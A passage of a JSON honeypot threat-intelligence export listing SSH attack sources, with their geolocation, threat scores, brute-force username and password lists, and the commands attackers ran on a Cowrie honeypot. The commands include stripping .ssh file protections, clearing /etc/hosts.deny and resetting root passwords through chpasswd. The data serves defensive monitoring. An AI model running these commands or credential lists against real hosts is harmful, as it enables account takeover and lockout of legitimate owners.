      "attack_count": 330,
      "first_seen": "2026-04-12T11:46:40.037Z",
      "last_seen": "2026-04-12T12:31:29.517Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "steam",
        "admin",
        "agotoz",
        "deploy",
        "elasticsearch",
        "rundeck",
        "student",
        "test",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%^&*",
        "123456.asd",
        "12345678",
        "1234rewq",
        "123qweasd",
        "GU3ST",
        "Qazwsx0000$",
        "Qazwsx123321!",
        "Qazwsx2025#",
        "Qazwsx999$",
        "Root654321!!",
        "Test2026",
        "Welcome123",
        "ZAQ!2wsx2025#$",
        "a1234567j",
        "admin1..",
        "agotoz",
        "asdfghjkl"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:EZj7VkvESQM5\"|chpasswd|bash",
        "echo \"root:yWJJdKRQW17l\"|chpasswd|bash",
        "echo \"wyse\\n8FT8n4B22qiF\\n8FT8n4B22qiF\\n\"|passwd",
        "echo -e \"wyse\\n8FT8n4B22qiF\\n8FT8n4B22qiF\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 140641,
      "as_org": "YOTTA NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T11:46:40.037000+00:00",
        "last_seen_30d": "2026-04-12T12:32:34.412000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "152.42.240.74": {
      "attack_count": 330,
      "first_seen": "2026-04-19T10:50:59.656Z",
      "last_seen": "2026-04-19T11:32:59.586Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "postgres",
        "ubuntu",
        "adc",
        "amir",
        "elastic",
        "ftpuser",
        "oracle",
        "steam",
        "user1",
        "z"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1234ABCD",
        "123qwe",
        "123qwe!@#",
        "1qaz!QAZ@123",
        "Airtel@123",
        "Ba123456",
        "Oracle123!",
        "Root2021$",
        "Wz123456",
        "XXxx112233",
        "a",
        "a123456+",
        "a12345679",
        "adc123",
        "admin1234#",
        "amir123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"asdf\\nFoKUyoJKeRS4\\nFoKUyoJKeRS4\\n\"|passwd",
        "echo \"root:6V7M71aAcOCX\"|chpasswd|bash",
        "echo \"root:U6i3QFLhgKbj\"|chpasswd|bash",
        "echo -e \"asdf\\nFoKUyoJKeRS4\\nFoKUyoJKeRS4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:50:59.656000+00:00",
        "last_seen_30d": "2026-04-19T11:34:02.729000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 70
      }
    },
    "175.118.127.138": {
      "attack_count": 304,
      "first_seen": "2026-04-01T20:09:59.593Z",
      "last_seen": "2026-04-01T21:23:52.430Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0admin",
        "123456bB",
        "123QWEasdZXC",
        "20261109",
        "ABc123456",
        "Admin12345",
        "Dt123456.",
        "Hx123456.",
        "Passw0rd!@#",
        "aaaaaa123",
        "adrian",
        "bruno123",
        "c123456789",
        "dodo",
        "drcom@123",
        "joel",
        "oracle12",
        "passadmin12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2Lz4an36ziXt\"|chpasswd|bash",
        "echo \"root:CrunzyoZCoJ7\"|chpasswd|bash",
        "echo \"root:ZrNHGfuMpEEC\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangdong-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T20:09:59.593000+00:00",
        "last_seen_30d": "2026-04-01T21:24:55.507000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 63
      }
    },
    "211.213.96.171": {
      "attack_count": 304,
      "first_seen": "2026-04-28T08:13:51.044Z",
      "last_seen": "2026-04-28T08:37:26.292Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "*963.*963",
        "123456#@!",
        "123ewqasdcxz",
        "123wwwrun",
        "147",
        "2026@lekLAeLK",
        "GfhnytH",
        "Kuanfan@021",
        "Pass@word!",
        "asdfg!@#$%",
        "envision",
        "hzzt@2025",
        "minecraft123",
        "p@ssw0rd@123!",
        "q1w2e3r4t5",
        "r00t1234567890",
        "redhat@2026",
        "root"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:PqXZmLHL3Me9\"|chpasswd|bash",
        "echo \"root:WEhyDH98I16g\"|chpasswd|bash",
        "echo \"root:os4aFFbOrdDk\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Bupyeong-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T08:13:51.044000+00:00",
        "last_seen_30d": "2026-04-28T08:38:31.057000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 57
      }
    },
    "103.134.17.85": {
      "attack_count": 263,
      "first_seen": "2026-04-07T07:13:08.805Z",
      "last_seen": "2026-04-07T07:53:28.550Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "odoo",
        "345gs5662d34",
        "postgres",
        "service",
        "ubuntu",
        "adminuser",
        "claude",
        "deployer",
        "dev",
        "rover",
        "saiful",
        "server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123698745",
        "1qaz.2wsx",
        "9ol.@#",
        "Admin@1234",
        "Password1",
        "QWERTY@@",
        "Qazwsx8888@123",
        "S3cr3t",
        "Server03!",
        "Tb123456",
        "admin",
        "bbDD123",
        "bbQQ123123",
        "claude",
        "dev30!",
        "mypassword"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\npnL5WGIOlGSv\\npnL5WGIOlGSv\\n\"|passwd",
        "echo \"mypassword\\nt6raPtwQZ9NC\\nt6raPtwQZ9NC\\n\"|passwd",
        "echo -e \"1234\\npnL5WGIOlGSv\\npnL5WGIOlGSv\"|passwd|bash",
        "echo -e \"mypassword\\nt6raPtwQZ9NC\\nt6raPtwQZ9NC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138144,
      "as_org": "Institut Agama Islam Negeri Kediri",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T07:13:08.805000+00:00",
        "last_seen_30d": "2026-04-07T07:54:32.146000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 66
      }
    },
    "103.176.79.139": {
      "attack_count": 263,
      "first_seen": "2026-04-11T18:18:30.812Z",
      "last_seen": "2026-04-11T19:20:16.820Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "edu",
        "steam",
        "dev",
        "frappe",
        "ftpuser",
        "git",
        "testftp",
        "tom",
        "user",
        "user_jenkins",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12341234",
        "12345",
        "123456aA.",
        "123456aA@",
        "1qazEDC",
        "Admin1234@123",
        "Dev29",
        "Lk123456",
        "P@ssword0",
        "P@ssword2",
        "Qazwsx112233!",
        "Root111111.",
        "Root2022@#",
        "Server2025#",
        "Vpn14!",
        "abcd123!",
        "admin12!!",
        "edu"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1qazEDC\\nd5dhVMFI1coF\\nd5dhVMFI1coF\\n\"|passwd",
        "echo \"edu\\n1y18ZqOOo6jd\\n1y18ZqOOo6jd\\n\"|passwd",
        "echo -e \"1qazEDC\\nd5dhVMFI1coF\\nd5dhVMFI1coF\"|passwd|bash",
        "echo -e \"edu\\n1y18ZqOOo6jd\\n1y18ZqOOo6jd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T18:18:30.812000+00:00",
        "last_seen_30d": "2026-04-11T19:21:18.201000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 72
      }
    },
    "103.23.198.220": {
      "attack_count": 263,
      "first_seen": "2026-04-11T12:03:29.407Z",
      "last_seen": "2026-04-11T13:08:56.807Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ct",
        "newftpuser",
        "user",
        "admin",
        "deploy",
        "dev",
        "fiuser",
        "postgres",
        "sammy",
        "student",
        "teamspeak",
        "test",
        "testuser1",
        "ts3user",
        "user2",
        "user5"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w#E4r",
        "1",
        "1234_ASDF",
        "1qazxsw2!QAZXSW@",
        "999999",
        "Aa123321!",
        "Dev$",
        "Postgres4",
        "Qq123123",
        "QwertyQwerty123456",
        "admin2",
        "ct",
        "fiuser",
        "frappe18",
        "passw0rd",
        "root11111111@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1\\nwFpBfu3c45o8\\nwFpBfu3c45o8\\n\"|passwd",
        "echo \"ct\\nTnzMDTs3Qtes\\nTnzMDTs3Qtes\\n\"|passwd",
        "echo -e \"1\\nwFpBfu3c45o8\\nwFpBfu3c45o8\"|passwd|bash",
        "echo -e \"ct\\nTnzMDTs3Qtes\\nTnzMDTs3Qtes\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:03:29.407000+00:00",
        "last_seen_30d": "2026-04-11T13:09:59.591000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 71
      }
    },
    "38.76.214.64": {
      "attack_count": 262,
      "first_seen": "2026-04-16T21:44:07.905Z",
      "last_seen": "2026-04-16T22:28:35.968Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "cephuser",
        "dspace",
        "es",
        "newusername",
        "papa",
        "safeuser",
        "steam",
        "switch",
        "testuser",
        "username"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "Abcd2025",
        "He123456789",
        "Pass12",
        "Qazwsx321@123",
        "Qwe.1234",
        "Root0!!",
        "ZAQ!2wsx2022.",
        "cephuser",
        "changeme",
        "dspace",
        "elastic",
        "papa",
        "password",
        "q",
        "qazwsxedc@",
        "qqXX111"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"q\\nHow1hRYAVb3u\\nHow1hRYAVb3u\\n\"|passwd",
        "echo \"root:nk00G59aGO8U\"|chpasswd|bash",
        "echo -e \"q\\nHow1hRYAVb3u\\nHow1hRYAVb3u\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T21:44:07.905000+00:00",
        "last_seen_30d": "2026-04-16T22:29:42.768000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "116.99.174.223": {
      "attack_count": 207,
      "first_seen": "2026-04-22T01:32:16.441Z",
      "last_seen": "2026-04-22T01:48:39.437Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "*****",
        "am",
        "backup",
        "brenda",
        "carol",
        "cisco",
        "client",
        "cpanel",
        "developer",
        "geral",
        "jay",
        "linaro",
        "madrid",
        "master",
        "mms",
        "monitor",
        "nagios",
        "proftpd"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "*****",
        "039715582364317",
        "111111",
        "1234",
        "12345",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "91482d",
        "?",
        "P@ssw0rd",
        "admin1",
        "aerohive",
        "am",
        "bananapi",
        "brenda",
        "carol",
        "cisco",
        "geral"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T01:32:16.441000+00:00",
        "last_seen_30d": "2026-04-22T01:49:41.517000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207,
        "Suricata": 94
      }
    },
    "177.229.197.38": {
      "attack_count": 204,
      "first_seen": "2026-04-24T03:17:05.586Z",
      "last_seen": "2026-04-24T03:47:58.762Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "user",
        "345gs5662d34",
        "git",
        "mongod",
        "seekcy",
        "server",
        "sysadmin",
        "teamspeak",
        "testbox",
        "tiptop",
        "trojanuser",
        "ts",
        "ubuntu",
        "vpn",
        "wpyan"
      ],
      "passwords_attempted": [
        "123",
        "123454321",
        "1234567890",
        "1234qwer!@#$",
        "123qweASD",
        "1qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "@dmin@123",
        "Aa@1234567890",
        "Ff123456.",
        "Joysuch@Locate2020",
        "Login@123",
        "Vpn1234",
        "mongod",
        "password1",
        "qq@123456",
        "qwe@123",
        "root@321",
        "rootroot"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"rootroot\\n7pQOioqnD9Kf\\n7pQOioqnD9Kf\\n\"|passwd",
        "echo -e \"rootroot\\n7pQOioqnD9Kf\\n7pQOioqnD9Kf\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tapachula",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T03:17:05.586000+00:00",
        "last_seen_30d": "2026-04-24T03:49:00.863000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 64
      }
    },
    "52.176.211.73": {
      "attack_count": 204,
      "first_seen": "2026-04-25T06:19:41.399Z",
      "last_seen": "2026-04-25T06:48:54.949Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "postgres",
        "john",
        "steam",
        "345gs5662d34",
        "bot",
        "erpnext",
        "eugene",
        "marina",
        "scuser",
        "sftptest",
        "spooler",
        "test1",
        "uno85",
        "user",
        "zy"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "1234567890",
        "202501",
        "2glehe5t24th1issZs",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@12345",
        "Bot27!",
        "MoeClub.org",
        "Postgres16!",
        "Qaz@12345",
        "Ubuntu1@",
        "Zxc12345",
        "aA123456789",
        "eugene",
        "marina123",
        "newpassword123",
        "password",
        "password12#$"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"welcome\\nTlKbuaBmDrZN\\nTlKbuaBmDrZN\\n\"|passwd",
        "echo -e \"welcome\\nTlKbuaBmDrZN\\nTlKbuaBmDrZN\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
